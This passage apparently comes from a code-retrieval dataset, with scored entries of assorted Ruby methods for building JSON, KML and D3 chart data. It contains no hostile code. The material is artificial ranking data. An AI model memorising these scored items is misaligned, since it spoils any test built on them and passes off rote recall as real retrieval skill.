objekto[\"filNombro\"] += 1\n stato[\"senco\"] = objekto[\"filNombro\"]\n novaSenco = traktiNodon(fil, stato)\n objekto[\"filoj\"] << novaSenco\n if novaSenco[\"mrk\"] != nil\n @indikiloDeMarko[novaSenco[\"mrk\"]] = objekto[\"filNombro\"].to_s\n end\n stato[\"senco\"] = 0\n elsif fil.name == \"subsnc\"\n objekto[\"filNombro\"] += 1\n novaSubSenco = traktiNodon(fil, stato)\n objekto[\"filoj\"] << novaSubSenco\n if novaSubSenco[\"mrk\"] != nil\n litero = (\"a\"..\"z\").to_a[objekto[\"filNombro\"]-1]\n numero = stato[\"senco\"].to_s + litero\n @indikiloDeMarko[novaSubSenco[\"mrk\"]] = numero\n end\n elsif fil.name == \"dif\"\n novaDifino = traktiDifinon(fil, stato)\n objekto[\"filoj\"] << novaDifino\n elsif fil.name == \"rim\"\n novaRimarko = traktiRimarkon(fil, stato)\n objekto[\"filoj\"] << novaRimarko\n elsif fil.name == \"ref\"\n stato[\"refspac\"] = objekto[\"filoj\"].count > 0\n novaRefo = traktiRefon(fil, stato)\n objekto[\"filoj\"] << novaRefo\n elsif fil.name == \"refgrp\"\n stato[\"refspac\"] = objekto[\"filoj\"].count > 0\n novaRefgrupo = traktiRefgrupon(fil, stato)\n objekto[\"filoj\"] << novaRefgrupo\n elsif fil.name == \"ekz\"\n novaEkzemplo = traktiEkzemplon(fil, stato)\n #teksto += novaEkzemplo[\"teksto\"]\n\t objekto[\"filoj\"] << novaEkzemplo\n elsif fil.name == \"trd\"\n traktiTradukon(fil, stato)\n elsif fil.name == \"trdgrp\"\n traktiTradukGrupon(fil, stato)\n elsif fil.name == \"text\"\n #puts \"teksto: \" + fil.text + \"|\"\n #objekto[\"filoj\"] << {\"tipo\" => \"teksto\", \"teksto\" => fil.text}\n elsif fil.name == \"frm\"\n novaFormulo = traktiFormulon(fil, stato)\n\t teksto += novaFormulo[\"teksto\"]\n else\n objekto[\"filoj\"] << traktiNodon(fil, stato)\n end\n end\n\n for fil in objekto[\"filoj\"]\n if fil[\"teksto\"] != nil\n if fil[\"tipo\"] == \"refo\" or fil[\"tipo\"] == \"refgrupo\"\n\t teksto += \" \"\n\t end\n teksto += fil[\"teksto\"]\n end\n end\n\n # atendu ghis la fino de drv antau enmeti tradukojn el ekzemploj -\n # tiuj ghenerale rilatas al dirajhoj, ke ne estas baza vortoj por serchi\n if stato[\"super\"].count == 1 and stato[\"ekzTradukoj\"] != []\n for lng, tradoj in stato[\"ekzTradukoj\"]\n for trad in tradoj\n\t stato[\"artikolo\"][\"tradukoj\"][lng] << trad\n\t end\n end\n\n stato[\"ekzTradukoj\"] = {}\n end\t \t \n\n if miaMarko then stato[\"marko\"].pop end\n\n #objekto[\"teksto\"] = teksto\n stato[\"super\"].pop\n return objekto\nend", "title": "" }, { "docid": "0b7b2cd69500d7c1130d7a0b3f4078ec", "score": "0.61123455", "text": "def json\n fields = dataset.dataset_fields\n e_doc = Hpricot(open(url))\n data = {\"id\"=> id, \"url\"=> url }\n fields.each do |field|\n p field\n data[field.name] = (e_doc/field.css).text.strip\n end\n puts data.inspect \n \n data.to_json \n end", "title": "" }, { "docid": "9cd26c97c3dbf2623a88409b259652ef", "score": "0.5960463", "text": "def getJSON(tab)\n\n # All nodes get a name. Native support for to_json in Ruby is awesome, btw\n json = \"#{tab}{\\t\\\"name\\\" : #{name.to_json},\\n\"\n \n if (missione_id.to_json != \"null\") \n json += \"#{tab}\\t\\\"id_missione\\\" : #{missione_id.to_json},\\n\"\n end\n\n if (categoria_code.to_json != \"null\") \n json += \"#{tab}\\t\\\"code_categoria\\\" : #{categoria_code.to_json},\\n\"\n end\n\n\n \n # I think we fixed this, but sometimes we were getting null values for size, so we're checking before we add the value line\n # The D3 examples I based this off used both size and value for the amount in the tree, that's why they aren't consistent. I'll fix that later.\n if (size.to_json != \"null\") \n json += \"#{tab}\\t\\\"value\\\" : #{size.to_json},\\n\"\n end\n\n # If we have kids, add them to the json\n if (children.count > 0)\n\n #json = json.chom \n json += \"#{tab}\\t\\\"children\\\" : [\\n\"\n \n # Our recursive call with a couple of extra tabs. Two seemed better than one.\n children.each do |kid|\n json += kid.getJSON(\"\\t\\t\" + tab) \n end \n \n # Chomp off the trailing comma. There's probably a Ruby method for cutting off the comma without removing the newline. Need to google that\n json = json.chomp(\",\\n\") + \"\\n\"\n\n # Close the json array\n json += \"\\n#{tab}\\t]\\n\"\n\n else\n # No kids, so close up shop\n json = json.chomp(\",\\n\")\n json += \"\\n\"\n end\n\n # Doing this recursively, I'm not sure how to pass it back and not have a comma at the very end. Currently chomping it when I call it at the end of the script.\n # I could always check for how many tabs I have, but that seems sort of wrong.\n json += \"#{tab}},\\n\"\n \n return json\n end", "title": "" }, { "docid": "2ce0b1bb703b78c31766e892416d7ea9", "score": "0.5713884", "text": "def get_json\n if @tnuid_details_dictionary.nil?\n setup_tnuid_dictionary\n end\n start_at = 0\n hol_count = 0\n #for hol_hash in HolDatum.order(:name).where(taxon_id: nil, is_valid: 'Valid')\n #for hol_hash in HolDatum.order(:tnuid).where(is_valid: 'Valid')\n for hol_hash in HolDatum.order(:tnuid)\n\n # if hol_count > 5\n # exit\n # end\n\n hol_count = hol_count +1\n if (hol_count < start_at)\n next\n end\n tnuid = hol_hash.tnuid\n if (@tnuid_details_dictionary.has_key?(tnuid))\n print_char '.'\n next\n end\n\n # puts hol_hash.name\n # puts tnuid\n # info = get_taxon_info_command hol_hash.tnuid\n populate_hol_details hol_hash.tnuid\n\n if hol_count % 10 == 0\n print_string hol_hash.tnuid.to_s\n end\n if hol_count % 15 == 0\n print_string @average.to_s\n end\n if hol_count % 100 == 0\n reset_average\n end\n end\n end", "title": "" }, { "docid": "4baf612d02368da16b7a2a1159b26099", "score": "0.56643164", "text": "def to_adj\n full_jsivt= []\n @nodes.each do |id, node_data|\n name = node_data[@name_key]\n data = node_data[:data]\n adjacencies = node_data[@children_key]\n jsivt = {}\n jsivt[\"id\"] = id\n jsivt[\"name\"] = name || \"id: #{id}\" #if no name show id\n jsivt[\"data\"] = data\n jsivt[\"adjacencies\"] = adjacencies\n full_jsivt << jsivt\n end \n full_jsivt.to_json \n end", "title": "" }, { "docid": "5667fead4559db0715dfe9b3e852149c", "score": "0.56544864", "text": "def buscarModelos\n id_marca = params[:id_marca]\n @modelos = Modelo_Vehiculo.new\n @objmodelos = @modelos.buscarModelosMarca(id_marca)\n parsed_json = ActiveSupport::JSON.decode($tirajson)\n i=0\n @objmodelos.each do |modelo|\n #puts @objmodelo.imagen1\n @modelos.creararchivofisico(modelo.descripcion+'.jpg',$directorio_raiz+'/public/images/modelovehiculo/',modelo.imagen1)\n parsed_json[i][\"imagen3\"]=\"images/modelovehiculo/\"+modelo.descripcion+'.jpg'\n parsed_json[i][\"imagen1\"]=\"\"\n i=i+1\n end\n $tirajson = parsed_json.to_json\n render :text => $tirajson\n end", "title": "" }, { "docid": "52f6407e69dfb9f3c67f60d6e583b18f", "score": "0.5608469", "text": "def kml\n return [] unless snib_id.present?\n\n # Catch the response\n begin\n response = RestClient.get \"#{CONFIG.snib_url}&rd=#{snib_reino}&id=#{snib_id}\", :timeout => 5, :open_timeout => 5\n return [] unless response.present?\n rescue => e\n puts \"\\t\\t#{e.response}\"\n return []\n end\n\n data = JSON.parse(response)\n colectas = data['colectas']\n return [] unless colectas.count > 0\n cadenas = []\n\n colectas.each do |col|\n datos = col['properties']\n\n # Para registros solo de Mexico\n #next unless datos['nombrepaismapa'] == 'MEXICO'\n\n cadena = Hash.new\n h = HTMLEntities.new # Para codificar el html y no marque error en el KML\n\n # Los numere para poder armar los datos en el orden deseado\n cadena['01_nombre_cientifico'] = h.encode(especie.nombre_cientifico)\n cadena['02_nombre_comun'] = h.encode(especie.nom_com_prin(true))\n cadena['03_localidad'] = h.encode(datos['localidad'])\n cadena['04_municipio'] = h.encode(datos['nombremunicipiomapa'])\n cadena['05_estado'] = h.encode(datos['nombreestadomapa'])\n cadena['06_pais'] = h.encode(datos['nombrepaismapa'])\n\n # Para que no se vea feo MEXICO con mayusculas\n if cadena['06_pais'] == 'MEXICO'\n cadena['06_pais'] = 'México'\n end\n\n # Pone la fecha en formato tiemestamp\n if datos['diacolecta'].to_s == '99'\n datos['diacolecta'] = '??'\n end\n if datos['mescolecta'].to_s == '99'\n datos['mescolecta'] = '??'\n end\n if datos['aniocolecta'].to_s == '9999'\n datos['aniocolecta'] = '????'\n end\n\n cadena['07_datetime'] = \"#{datos['diacolecta'].to_s.rjust(2,'0')}/#{datos['mescolecta'].to_s.rjust(2,'0')}/#{datos['aniocolecta']}\"\n\n cadena['08_nombre_colector'] = h.encode(datos['nombrecolector'])\n cadena['09_nombre_coleccion'] = h.encode(datos['nombrecoleccion'])\n cadena['10_nombre_institucion'] = h.encode(datos['nombreinstitucion'])\n cadena['11_siglas_institucion'] = h.encode(datos['siglasinstitucion'])\n cadena['12_pais_coleccion'] = h.encode(datos['paiscoleccion'])\n\n cadena['13_longitude'] = datos['longitud']\n cadena['14_latitude'] = datos['latitud']\n\n cadenas << cadena\n end\n self.snib_kml = to_kml(cadenas)\n end", "title": "" }, { "docid": "0cf5547832e9f87c6c74ae51ca3b6ab4", "score": "0.5568506", "text": "def build_jason\n if @content.is_a?(Array)\n @content[0] = build_header_and_text_hashs @content[0] unless @content[0].empty?\n @content[2] = build_header_and_text_hashs @content[2] unless @content[2].empty?\n content_hash = {}\n content_hash = content_hash.merge(@content[0]) unless @content[0] || @content[0].empty?\n content_hash = content_hash.merge(@content[1])\n content_hash = content_hash.merge(@content[2]) unless @content[2] || @content[2].empty?\n @content = content_hash\n else\n @content = build_header_and_text_hashs @content\n end\n back_hash = build_back_portion @content\n document_hash = build_front_portion.merge( @content ).merge( back_hash ); back_hash = {}\n @content = {\n \"id\" => sha,\n \"nodes\" => document_hash\n }\n end", "title": "" }, { "docid": "34f0eefa27a42f39224daa9e1d4064a5", "score": "0.5560718", "text": "def to_json_larves\n File.open(\"./db/monstre_larve.json\", 'w') do |file|\n file.write(@type)\n end\n puts \"JSON : monstre_larve.json => ok(voir dans le dossier db)\"\n end", "title": "" }, { "docid": "8fe739277221d36ab76af401aa794b0f", "score": "0.5471322", "text": "def to_json_compatible\n json_scene = {}\n json_scene[:id] = @identifier\n # the toys are represented by their identifiers\n json_toys = []\n @toys.each do |toy|\n json_toys << toy.to_json_compatible\n end\n json_scene[:toys] = json_toys\n json_edges = []\n @edges.each do |edge_part|\n json_edges << edge_part.to_json_compatible\n end\n json_scene[:edges] = json_edges\n json_scene[:gravity] = @gravity.dy\n json_scene[:wind] = @gravity.dx\n json_scene[:boundaries] = @boundaries\n\n Constants::BACKGROUND_COLOUR_LIST.each_with_index do |c, index|\n if c == @background\n json_scene[:background] = index\n end\n end\n json_scene[:backgroundURL] = @backgroundURL\n\n json_scene\n end", "title": "" }, { "docid": "75614a0db46ebb9aa484454a87f396f2", "score": "0.5470395", "text": "def json_for(node)\n JSON.parse(File.read(\"#{@repository_path}/nodes/#{node}.json\"))\n end", "title": "" }, { "docid": "d38fbb1559bd4f20b2143e696bc3f89b", "score": "0.54582167", "text": "def to_json_monsters1\n File.open(\"./db/Monstres_des_cavernes.json\", 'w') do |file|\n file.write(@type)\n end\n puts \"...ecriture dans le fichier Monstres_des_cavernes.json... success!\"\n end", "title": "" }, { "docid": "328026ce120658f75bee8ec7cd1eb3be", "score": "0.5448139", "text": "def browse_json\r\n file = File.read('./db/townhalls.json')\r\n datas = JSON.parse(file)\r\n\r\n # elle fait une boucle dnas le fichier json pour sortir deux eléments, les mails et les names\r\n (0...datas.length).each do |i|\r\n send_mails(datas[i]['mail'], datas[i]['name'])\r\n puts datas[i]['name']\r\n puts datas[i]['mail']\r\n end\r\n end", "title": "" }, { "docid": "d23292a7f9849f9993c04d0644c3b6ac", "score": "0.5444327", "text": "def to_json_monsters2\n File.open(\"./db/Monstres_des_plaines_herbeuses.json\", 'w') do |file|\n file.write(@type)\n end\n puts \"...ecriture dans le fichier Monstres_des_plaines_herbeuses.json... success!\"\n end", "title": "" }, { "docid": "4290d995da2e17294b634492da8e2545", "score": "0.5425331", "text": "def json()\n tmp = @plan_ir.map {|plan| plan.json()}\n @tiles = @plan_ir.empty? ? {} : @plan_ir[0].tiles.merge(*@plan_ir[1..].map{|ir|ir.tiles})\n tmp\n end", "title": "" }, { "docid": "a5c829dfcd9a7d5489cf58db8f3808d9", "score": "0.53976357", "text": "def json\n h = Hash.new\n\n h[\"description\"] = overview # add \"...\" if over certain size\n h[\"sources\"] = [full_name]\n h[\"subtitle\"] = \"(#{year}) #{genre}\"\n h[\"thumb\"] = poster\n h[\"art\"] = art\n\n t = name[0..32]\n t = t + \"..\" if t.size > 32\n h[\"title\"] = t\n\n h[\"rating\"] = rating\n h[\"runtime\"] = runtime\n\n h\n end", "title": "" }, { "docid": "e89382e14fdfeb9dcaa03e6048e15edd", "score": "0.5390056", "text": "def evolution_data\n## reads evolution json (1-120 digimons) and parses\nevo_file = File.read(\"#{__dir__}/../dh-data/json/tree-0002-0120.json\")\nevo_data = JSON.parse(evo_file)\nend", "title": "" }, { "docid": "5a67a633b2559bd6ad2e3e8b44a5af1d", "score": "0.53746074", "text": "def process_json_data jd\n\tjd.each do |gk, hash|\n\t\thash['subproducts'].each do |prod|\n\t\t\tsubroot = get_root prod['machine_name']\n\t\t\tprod['downloads'].each do |dd|\n\t\t\t\troot = subroot.dup\n\t\t\t\t# Fix KindomRush classic being put under Origin because it's included by\n\t\t\t\t# Origin Premium package\n\t\t\t\tif dd['machine_name']\n\t\t\t\t\tnewroot = get_root dd['machine_name']\n\t\t\t\t\troot = newroot.dup if newroot == 'kingdomrush/'\n\t\t\t\tend\n\t\t\t\ttype = dd['platform']\n\t\t\t\tsavepath = File.join(root, type)\n\t\t\t\t$dirs << savepath\n\t\t\t\tdd['download_struct'].each do |ds|\n\t\t\t\t\tsha1 = ds['sha1']\n\t\t\t\t\tmd5 = ds['md5']\n\t\t\t\t\tts = ds['timestamp']\n\t\t\t\t\tif ds['url']\n\t\t\t\t\t\tlink = ds['url']['web']\n\t\t\t\t\t\tbtlink = ds['url']['bittorrent']\n\t\t\t\t\t\tbtlink = nil if btlink and btlink.empty?\n\t\t\t\t\t\tdl = true\n\t\t\t\t\telsif (link = ds['external_link'])\n\t\t\t\t\t\t# TODO only announce once per external link\n\t\t\t\t\t\tSTDERR.puts \"# No automatic downloads for #{savepath} (#{ds['name']}), go to #{link}\"\n\t\t\t\t\t\tdl = false\n\t\t\t\t\tend\n\t\t\t\t\tif dl\n\t\t\t\t\t\tfname = get_filename link\n\t\t\t\t\t\tfkey = fname.intern\n\t\t\t\t\t\t# TODO use sha1\n\t\t\t\t\t\t$files[fkey] << Game.new(fname, md5, savepath, link, btlink, [hash['product']['human_name'], gk])#, ts)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend", "title": "" }, { "docid": "98276f3616345161f49bec6ef4512804", "score": "0.5368045", "text": "def json_ld; end", "title": "" }, { "docid": "b857b78acc51e1a09a2a2a9b6bb24899", "score": "0.5367492", "text": "def data\n ns = params[:ns]\n cn = params[:cn]\n layout = params[:layout]\n @connection = Connection.open session[:client]\n @classes = get_classes @connection, ns, cn\n case layout\n when \"tree\",\"indented\"\n tree = convert_to_tree( @classes) # Array\n # d3.js tree layout expects a single object\n render :json => { :name => \"\", :children => tree }\n when \"force\"\n force = convert_to_force( @classes ) # Hash\n Rails.logger.debug \"Force #{force.inspect}\"\n render :json => force\n else\n Rails.logger.debug \"Unknown data layout '#{layout.inspect}'\"\n render :nothing => true\n end\n end", "title": "" }, { "docid": "8e27231fa24e4136c1467ebbed9e2427", "score": "0.53439134", "text": "def recupera_json(nome_arq)\n linha = ''\n File.open(nome_arq, 'r').each_line do |line|\n if line.include? 'trackinfo: '\n linha = line\n break\n end\n end\n linha.slice!(-2..-1)\n linha.slice!(' trackinfo: ')\n JSON.parse linha\nend", "title": "" }, { "docid": "d297a8c82a6dfcba7453e5f3c3cff6e7", "score": "0.5343825", "text": "def to_json\n json_obj = []\n\n nodes = @nodes_s | @nodes_v\n nodes.each do |n|\n s = closest_s(n).name if @nodes_v.include?(n)\n json_obj << {\n name: n.name,\n coord: {x: n.x, y: n.y},\n s: s\n }\n end\n\n json_obj.to_json\n end", "title": "" }, { "docid": "406db4991a4cabdeccee12a9432562b9", "score": "0.53206664", "text": "def as_json\n {\n type: :diagram,\n data:\n {\n caption: caption,\n code: code,\n width: width,\n height: height\n }\n }\n end", "title": "" }, { "docid": "ca4521b28b848f6f95ca29a008f3a9a8", "score": "0.53085065", "text": "def kml_naturalista\n return [] unless naturalista_obs.present?\n obs = eval(naturalista_obs.decodifica64)\n return [] unless obs.count > 0\n cadenas = []\n h = HTMLEntities.new # Para codificar el html y no marque error en el KML\n\n obs.each do |ob|\n # Para evitar las captivas\n #next if ob['captive']\n\n cadena = Hash.new\n\n # Los numere para poder armar los datos en el orden deseado\n cadena['01_nombre_cientifico'] = h.encode(especie.nombre_cientifico)\n cadena['02_nombre_comun'] = h.encode(especie.nom_com_prin(true))\n cadena['05_place_guess'] = h.encode(ob['place_guess'])\n cadena['06_observed_on'] = ob['observed_on'].gsub('-','/') if ob['observed_on'].present?\n cadena['07_captive'] = ob['captive'] ? 'Organismo silvestre / naturalizado' : nil\n cadena['08_quality_grade'] = ob['quality_grade']\n cadena['09_uri'] = ob['uri']\n\n if cadena['09_uri'].present?\n cadena['09_uri'] = cadena['09_uri'].gsub('www.inaturalist.org','naturalista.conabio.gob.mx').gsub('conabio.inaturalist.org', 'naturalista.conabio.gob.mx')\n end\n\n cadena['10_longitude'] = ob['longitude']\n cadena['11_latitude'] = ob['latitude']\n\n ob['photos'].each do |photo|\n cadena['03_thumb_url'] = photo['thumb_url']\n cadena['04_attribution'] = h.encode(photo['attribution'])\n break\n end\n cadenas << cadena\n end\n self.naturalista_kml = to_kml_naturalista(cadenas)\n end", "title": "" }, { "docid": "b66a60c59bcd3dff367e8e9f2b9ec99f", "score": "0.52850264", "text": "def to_json_larves\n File.open(\"./db/larves.json\", 'w') do |file|\n file.write(@type)\n end\n puts \"Fichier larves.json \"\n end", "title": "" }, { "docid": "a22b027a6a16a1fcc1409fd098b94e26", "score": "0.5276144", "text": "def nodes(data)\n\tnodes = \n\t\tdata.collect{ |k,v| [k, v] }.flatten.uniq\n\t\t\t.collect do |data|\n\t\t\t\t{\n\t\t\t\t\t'id' => data\n\t\t\t\t\t# 'r' => data.split(' ')[1][0].to_i, # first digit\n\t\t\t\t}\n\t\t\tend\n\t\n\treturn nodes\nend", "title": "" }, { "docid": "d4692e778ce2cf1e5a9e44ce232124a6", "score": "0.5253848", "text": "def json()\n @trace_arr.map{|trace| \n tile = trace.json \n @tiles[trace.id] = trace\n trace.id\n }\n end", "title": "" }, { "docid": "dc83e79ce1cad8829cf77e6cd8bdd639", "score": "0.52476895", "text": "def to_json_larves\n File.open(\"./db/Larves.json\", 'w') do |file|\n file.write(@type)\n end\n puts \"... ecriture dans le fichier larves.json...success! \"\n end", "title": "" }, { "docid": "c8c5ec5622cf58fb7edaf4f4ff3ad9fb", "score": "0.52319807", "text": "def build_json_data(h)\n # building each item of the json data\n json_items = h.keys().map { |k| \"\\\"#{k}\\\": \\\"#{h[k]}\\\"\" }\n\n # actually returning the json data\n return \"{#{json_items.join(', ')}}\"\n end", "title": "" }, { "docid": "75e57d4a9e40e52775798f0026f1e645", "score": "0.5211201", "text": "def convert_omni_to_json(path)\n # Omnigraffle files are either directories containing a data.plist + linked image assets, or they are simply\n # a data.plist. I'm not sure why Omnigraffle decides to use either -- image assets are sometimes base64\n # encoded inside the data.plist file, rather than being placed in a separate directory.\n data_plist = path\n if File.directory?(path)\n data_plist = File.join(path, \"data.plist\")\n raise \"data.plist not found: #{data_plist}\" unless File.exists?(data_plist)\n end\n temp = Tempfile.new(\"omni\")\n temp2 = Tempfile.new(\"json_plist\")\n begin\n # Omnigraffle gzips its plist file.\n `gzcat #{Shellwords.escape(data_plist)} > #{Shellwords.escape(temp.path)}`\n # `plutil` comes with Apple's developer tools. http://stackoverflow.com/q/6066350\n # Note that if Omnigraffle's plist contains a <data></data> block, plutil will fail with this error:\n # invalid object in plist for destination format\n # The workaround is to replace <data> blocks with <string>. AFAICT <data> blocks are used to embed some\n # image data, and removing these blocks won't affect our goal of computing the coordinates of shapes.\n sanitized_plist = File.read(temp.path).gsub(/<data>.*?<\\/data>/m, \"<string></string>\")\n File.write(temp.path, sanitized_plist)\n command = \"plutil -convert json #{Shellwords.escape(temp.path)} -o #{Shellwords.escape(temp2.path)}\"\n puts `#{command}`\n return JSON.parse(File.read(temp2.path))\n ensure\n temp.unlink\n temp2.unlink\n end\nend", "title": "" }, { "docid": "ad1c86a10b263e4de2424a19a14d604c", "score": "0.52093434", "text": "def as_json(*)\n {\n asiakasnro: asiakasnro,\n email: email,\n kieli: kieli,\n maa: maa,\n nimi: nimi,\n nimitark: nimitark,\n osoite: osoite,\n postino: postino,\n postitp: postitp,\n puhelin: puhelin,\n toim_maa: toim_maa,\n tunnus: tunnus,\n ytunnus: ytunnus,\n }\n end", "title": "" }, { "docid": "3371e4bc825d1b75396ef95ddd4ff5e1", "score": "0.5202241", "text": "def BuscarTodosArbolJson(menu)\n @opcionMenus = OpcionMenu.new\n @opcionMenus = OpcionMenu.where(\"menu_id = ? AND padre_id = ?\", menu.id, 0).order(orden: :asc)\n totaldeRegistros = @opcionMenus.length;\n @tira='[ '\n if totaldeRegistros>0 \n \t j=0\n \t\t@opcionMenus.each do |arbol|\n if arbol.hijos.length >0\n @tira = @tira+\" { text: '<i class= \\\" \" + arbol.icono.to_s + \"\\\" ></i> <span id=\"+ arbol.id.to_s+\"> \" + arbol.nombre + \" </span> ', cls: 'active waves-effect ', expanded: false, id: '\" + arbol.id.to_s + \"', href: '', \"\n else\n @tira = @tira+\" { text: '<i class= \\\" \" + arbol.icono.to_s + \"\\\" ></i> <span id=\"+ arbol.id.to_s+\"> \" + arbol.nombre + \" </span> ', cls: 'active waves-effect ', expanded: false, id: '\" + arbol.id.to_s + \"', href: '\" + arbol.url.to_s + \"', \"\n end\n \t\t \n \t\tself.ObtenerHijos(menu,arbol.id)\n \t\tj=j+1\n if j<totaldeRegistros\n @tira = @tira+ \" }, \"\n else\n @tira = @tira+\" } ] \"\n \t\tend\n \tend\n \telse\n \t\t@tira= @tira+\"{ { text: 'No hay datos', id: '\" + totaldeRegistros.to_s + \"', href: '', leaf: true } } ]\"\n \tend\n \treturn @tira\n end", "title": "" }, { "docid": "c8ce2ac0276a56f66fa21722e4d8dcae", "score": "0.520224", "text": "def ficha_naturalista_por_nombre\n return {estatus: false, msg: 'No hay resultados'} if existe_cache?('ficha_naturalista')\n escribe_cache('ficha_naturalista', CONFIG.cache.ficha_naturalista) if Rails.env.production?\n\n begin\n respuesta = RestClient.get \"#{CONFIG.naturalista_url}/taxa/search.json?q=#{URI.escape(nombre_cientifico.limpia_ws)}\"\n resultados = JSON.parse(respuesta)\n rescue => e\n return {estatus: false, msg: e}\n end\n\n # Nos aseguramos que coincide el nombre\n return {estatus: false, msg: 'No hay resultados'} if resultados.count == 0\n\n resultados.each do |t|\n next unless t['ancestry'].present?\n\n if t['name'].downcase == nombre_cientifico.limpia_ws.downcase\n array_ancestros = t['ancestry'].split('/')\n\n if array_ancestros.count > 1\n reino_naturalista = t['ancestry'].split('/')[1].to_i\n\n # Es un reino\n next unless reino_naturalista.present?\n reino_enciclovida = root_id\n\n # Me aseguro que el reino coincida\n next if !((reino_naturalista == reino_enciclovida) || # Reino animalia\n (reino_naturalista == 47126 && reino_enciclovida == 2) || # Reino plantae\n (reino_naturalista == 47170 && reino_enciclovida == 4) || # Reino fungi\n ([48222, 47686].include?(reino_naturalista) && reino_enciclovida == 5)) # Reino protoctista o chromista en naturalista\n end\n\n if p = proveedor\n p.naturalista_id = t['id']\n p.save\n else\n self.proveedor = Proveedor.create({naturalista_id: t['id'], especie_id: id})\n end\n\n return {estatus: true, ficha: t}\n\n end # End nombre cientifico\n end # End resultados\n\n return {estatus: false, msg: 'No hubo coincidencias con los resultados del servicio'}\n end", "title": "" }, { "docid": "f5f71db241c796f5b31d1474a7efdd34", "score": "0.5201275", "text": "def get_jogos\n @dt = Array.new; @dados = \"\"; vetor = Array.new; contador=0;\n @doc[\"entry\"].each do |pontos| \n #p \"Contador: #{contador}\"\n linha = pontos[\"cell\"][0][\"row\"]\n coluna = pontos[\"cell\"][0][\"col\"] \n valor = pontos[\"cell\"][0][\"inputValue\"]\n #pega as datas dos jogos\n if linha.to_i > 2 && contador > 3\n p \"Jogo: #{valor} #{pontos[\"cell\"][0][\"col\"][2]} #{pontos[\"cell\"][0][\"col\"][3] } X #{pontos[\"cell\"][0][\"col\"][5] } #{pontos[\"cell\"][0][\"col\"][6] } \"\n end#fim da linha\n \n contador += contador\n# if coluna == \"2\"\n# if linha.to_i > 2\n# pp \"Jogador A: #{valor} #{contador}\"\n# jogador_a = valor\n# @dados += valor + \" \"\n# end \n# end\n# \n# if coluna == \"3\"\n# if linha.to_i > 2\n# pp \"Pontos A: #{valor} #{contador}\"\n# pontos_a = valor\n# @dados += valor + \" \"\n# end\n# end\n# \n# if coluna == \"4\"\n# if linha.to_i > 2\n# pp \"Versus: #{valor} #{contador}\"\n# versus = valor\n# @dados += valor + \" \"\n# end\n# end\n# \n# if coluna == \"5\"\n# if linha.to_i > 2\n# pp \"Pontos B: #{valor} #{contador}\"\n# pontos_b = valor\n# @dados += valor + \" \"\n# end\n# end\n# \n# if coluna == \"6\"\n# if linha.to_i > 2\n# pp \"Jogador: #{valor} #{contador}\"\n# jogador_b = valor\n# @dados += valor\n# end\n# end\n \n end#fim teste principal\n end", "title": "" }, { "docid": "ab46914fa8bb753689fc551dda8721c4", "score": "0.518297", "text": "def zapisData(nactenySoubor,nazev)\r\n pocetNodu = nactenySoubor[1].length - 1 #pocet nodu je mensi o 1 právě kvůli tomu hashtagu\r\n delkaSouboru = nactenySoubor.length\r\n\r\n # nyní si potřebuji sesypat data ze zbytku nacteneho pole do úhledné formy pro intenzity\r\n vystupniDataHodnot = []\r\n index = 1\r\n\r\n for i in 2...delkaSouboru\r\n delkaRadku = nactenySoubor[i].length #delka nacteneho radku\r\n for j in 0...delkaRadku\r\n vystupniDataHodnot.push(nactenySoubor[i][j].to_f / nactenySoubor[1][index].to_f) #tvorim si pole dat pro grafy a napocitavam si intenzity\r\n index += 1\r\n end\r\n end\r\n\r\n # nyní si připravím x souřadnice pro graf\r\n xAxis = []\r\n xAxis[0] = 0\r\n\r\n for i in 0...(pocetNodu - 1)\r\n xAxis[i+1] = nactenySoubor[1][i+1].to_i + xAxis[i].to_i\r\n end\r\n\r\n # zapis samotnéhop datového souboru o 2 sloupcích\r\n file = File.open(\"data_gnuplot/#{nazev}.txt\", \"w\")\r\n file.puts \"#{nactenySoubor[0][1]}\"\r\n for i in 0...xAxis.length\r\n file.puts \"#{xAxis[i]} #{vystupniDataHodnot[i]}\"\r\n end\r\n file.close\r\nend", "title": "" }, { "docid": "7513ecc18a5575654841626da234c6bc", "score": "0.51792145", "text": "def tiny_json\n @small_json ||= Oj.dump(self.ensmallen)\n end", "title": "" }, { "docid": "b97d35e46ffe1dd1644b2906593b004f", "score": "0.5174721", "text": "def json_hash\r\n if children.size > 0\r\n children.collect { |node| { node.name => node.json_hash }.to_json }\r\n else\r\n { node.name => node.products.find(:all).collect(&:name) }.to_json\r\n end\r\n end", "title": "" }, { "docid": "7a1edfc885671b0156b0d33bc448bb9f", "score": "0.5172505", "text": "def to_json\n model = { 'nodes' => [], 'links' => [] }\n\n self.each do |node, adjacency|\n if node.instance_of?(Aquanaut::PageNode)\n group = 1\n else\n asset_groups = { 'image' => 2, 'stylesheet' => 3 }\n group = asset_groups[node.type]\n end\n\n model['nodes'] << { 'name' => node.uri, 'group' => group }\n source = @nodes.values.index(node)\n\n adjacency.each do |adjacency_node|\n target = @nodes.values.index(adjacency_node)\n model['links'] << { 'source' => source, 'target' => target }\n end\n end\n\n return model.to_json\n end", "title": "" }, { "docid": "3ccfd252571246959ae63d2a3c1d6c12", "score": "0.5166776", "text": "def tattoos\n render :nothing => true and return if params[:id].nil?\n\n @tattoo = Tattoo.find(params[:id])\n render :json => @tattoo.to_json(:include => [:artist, :assets])\n #render :json => @tattoo.to_json(:include => { :assets => { :only => [:id, :data_file_name] } })\n return\n end", "title": "" }, { "docid": "9f0427c747dd2fd50d2ea5ca084503db", "score": "0.5163112", "text": "def draw_d3pie_chart(type, which, data, num, colors, title, width, height,\n mainlabelsize, titlesize, valuesize, tooltipsize,\n segmentsize, pieouterradius, pieinnerradius, piedistance, linesenabled,\n pulloutsegmentsize, titlefont, footerfont, footerfontsize, backgroundcolor,\n footercolor)\n high = 1; seen = []; element = ''\n data.map do |x|\n if x[1] > high\n high = x[1]\n element = x[0]\n end\n seen << x[1]\n end\n footertext = if high > 1 && seen.size > 1 && seen.count(high) == 1\n if type.zero?\n \"#{high} \\\"#{element}\\\"#{element == 'folders' ? '' : ' files'} occurred most frequently\"\n elsif type == 1\n \"#{high} maximum occurrences in file \\\"#{element}\\\"\"\n else\n \"#{high} maximum occurrences for the word \\\"#{element}\\\"\"\n end\n end\n\n s = \"\n var pie = new d3pie('d3pie_chart_div_#{which}', {\n 'header': {\n 'title': {\n 'text': '#{chart_title(title, num)}',\n 'fontSize': #{titlesize},\n 'font': '#{titlefont}'\n }\n },\n 'footer': {\n 'text': '#{footertext}',\n 'color': '##{footercolor}',\n 'fontSize': #{footerfontsize},\n 'font': '#{footerfont}',\n 'location': 